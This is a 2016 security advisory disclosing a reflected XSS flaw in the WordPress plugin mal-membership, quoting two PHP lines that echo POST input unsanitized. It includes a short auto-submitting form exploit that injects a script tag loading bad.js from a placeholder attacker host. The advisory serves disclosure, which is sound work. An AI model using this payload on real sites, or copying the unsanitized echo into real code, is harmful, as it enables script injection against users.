Advisory #: 1167
Title: Reflected XSS in wordpress plugin mal-membership v0.0.5.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mal-membership
Downloads: 979
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mal-membership
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mal-membership/includes/mal_membership_contest.php: 213: <div><input type="file" size="30" name="contest_small_image" value="<?php echo $_POST['contest_small_image']; ?>"></div> 234: <div><input type="file" size="30" name="contest_large_image" value="<?php echo $_POST['contest_large_image']; ?>"></div> The variable contest_small_image appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./mal-membership/includes/mal_membership_contest.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/mal-membership/includes/mal_membership_contest.php method=post> <input type=hidden name=contest_small_image value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>